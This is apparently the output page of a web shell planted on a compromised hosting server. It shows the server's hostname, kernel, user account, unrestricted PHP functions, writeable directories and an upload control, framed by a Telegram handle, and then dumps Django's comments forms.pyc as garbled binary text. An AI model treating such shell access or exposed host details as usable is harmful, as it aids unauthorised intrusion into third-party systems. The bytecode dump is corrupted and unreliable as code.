https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/comments/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/comments/forms.pyc
�
r�\c@sddlZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZm
Z
ddlmZdd	lmZdd
lmZddlmZmZmZeedd
�Zdejfd��YZdefd��YZdefd��YZdS(i����N(tforms(t	ErrorDict(tsettings(tContentType(tComment(tsalted_hmactconstant_time_compare(t
force_text(t
get_text_list(ttimezone(t	ungettexttugettextt
ugettext_lazytCOMMENT_MAX_LENGTHi�tCommentSecurityFormcBs�eZdZejdej�Zejdej�Zejdej�Z	ejdddddej�Z
ddd�Zd�Z
d�Zd�Zd	�Zd
�Zd�ZRS(
sI
    Handles the security aspects (anti-spoofing) for comment forms.
    twidgett
min_lengthi(t
max_lengthcCsT||_|dkri}n|j|j��tt|�jd|d|�dS(Ntdatatinitial(t
target_objecttNonetupdatetgenerate_security_datatsuperRt__init__(tselfRRR((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyRs
		cCsJt�}x:dddgD])}||jkr|j|||<qqW|S(s1Return just those errors associated with securitythoneypott	timestampt
security_hash(Rterrors(RRtf((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pytsecurity_errorss
	cCs�i|jjdd�d6|jjdd�d6|jjdd�d6}|j|�}|jd}t||�s�tjd��n|S(sCheck the security hash.tcontent_typett	object_pkRRsSecurity hash check failed.(Rtgettgenerate_security_hashtcleaned_dataRRtValidationError(Rtsecurity_hash_dictt
expected_hashtactual_hash((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pytclean_security_hash's
cCs9|jd}tj�|dkr5tjd��n|S(s>Make sure the timestamp isn't too far (> 2 hours) in the past.Rii<sTimestamp check failedixi (R&ttimeRR'(Rtts((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pytclean_timestamp4s
cCsbttj��}it|jj�d6t|jj��d6t|�d6|j|�d6}|S(s4Generate a dict of security data for "initial" data.R!R#RR(tintR,tstrRt_metat_get_pk_valtinitial_security_hash(RRt
security_dict((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyR;s
cCsIit|jj�d6t|jj��d6t|�d6}|j|�S(sm
        Generate the initial security hash from self.content_object
        and a (unix) timestamp.
        R!R#R(R0RR1R2R%(RRtinitial_security_dict((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyR3Fs
cCs7|||f}d}dj|�}t||�j�S(sG
        Generate a HMAC security hash from the provided info.
        s(django.contrib.forms.CommentSecurityFormt-(tjoinRt	hexdigest(RR!R#Rtinfotkey_salttvalue((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyR%SsN(t__name__t
__module__t__doc__Rt	CharFieldtHiddenInputR!R#tIntegerFieldRRRRR R+R.RR3R%(((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyRs!		
			
tCommentDetailsFormcBs�eZdZejded�dd�Zejded��Zej	ded�de
�Zejded�d	ejde
�Zd
�Zd�Zd�Zd
�Zd�ZRS(sL
    Handles the specific details of the comment (name, comment, etc.).
    tlabeltNameRi2s
Email addresstURLtrequiredRRcCsL|j�std��n|j�}||j��}|j|�}|S(s6
        Return a new (unsaved) comment object based on the information in this
        form. Assumes that the form is already validated and will throw a
        ValueError if not.

        Does not set any of the fields that would come from a Request object
        (i.e. ``user`` or ``ip_address``).
        s4get_comment_object may only be called on valid forms(tis_validt
ValueErrortget_comment_modeltget_comment_create_datatcheck_for_duplicate_comment(RtCommentModeltnew((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pytget_comment_objectfs	cCstS(s�
        Get the comment model to create with this form. Subclasses in custom
        comment apps should override this, get_comment_create_data, and perhaps
        check_for_duplicate_comment to provide custom comment models.
        (R(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyRIxscCs�tdtjj|j�dt|jj��d|jdd|jdd|jdd	|jd	d
tj	�dt
jdtd
t
�
S(s�
        Returns the dict of data to be used to create a comment. Subclasses in
        custom comment apps that override get_comment_model can override this
        method to add extra fields onto a custom comment model.
        R!R#t	user_nametnamet
user_emailtemailtuser_urlturltcommenttsubmit_datetsite_idt	is_publict
is_removed(tdictRtobjectst
get_for_modelRRR2R&R	tnowRtSITE_IDtTruetFalse(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyRJ�s



	cCs�|j�jj|jjj�jd|jd|jd|j	d|j
d|j�}xB|D]:}|jj
�|jj
�kr[|j|jkr[|Sq[W|S(s�
        Check that a submitted comment isn't a duplicate. This might be caused
        by someone posting a comment twice. If it is a dup, silently return the *previous* comment.
        R!R#RORQRS(RIt_default_managertusingRt_statetdbtfilterR!R#RORQRSRVtdateRU(RRMtpossible_duplicatestold((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyRK�s				
0c
Cs�|jd}tjtkr�gtjD]}||j�kr&|^q&}|r�tjtddt	|��t
g|D]/}d|ddt	|�d|df^qutd	����q�n|S(
s�
        If COMMENTS_ALLOW_PROFANITIES is False, check that the comment doesn't
        contain anything in PROFANITIES_LIST.
        RUs2Watch your mouth! The word %s is not allowed here.s4Watch your mouth! The words %s are not allowed here.s"%s%s%s"iR6ii����tand(R&RtCOMMENTS_ALLOW_PROFANITIESR`tPROFANITIES_LISTtlowerRR'R
tlenRR(RRUtwt	bad_wordsti((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyt
clean_comment�s
.	O(R<R=R>RR?t_RPt
EmailFieldRRtURLFieldR`RTtTextareaR
RURNRIRJRKRq(((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyRB\s					tCommentFormcBs/eZejdeded��Zd�ZRS(RFRCsHIf you enter anything in this field your comment will be treated as spamcCs3|jd}|r/tj|jdj��n|S(s4Check that nothing's been entered into the honeypot.R(R&RR'tfieldsRC(RR;((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pytclean_honeypot�s
(R<R=RR?R`RrRRx(((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyRv�s(R,tdjangoRtdjango.forms.utilRtdjango.confRt"django.contrib.contenttypes.modelsRtdjango.contrib.comments.modelsRtdjango.utils.cryptoRRtdjango.utils.encodingRtdjango.utils.textRtdjango.utilsR	tdjango.utils.translationR
RRRrtgetattrR
tFormRRBRv(((s?/tmp/pip-install-XxeQeY/django/django/contrib/comments/forms.pyt<module>sM\

https://t.me/AnonymousX5 - 2025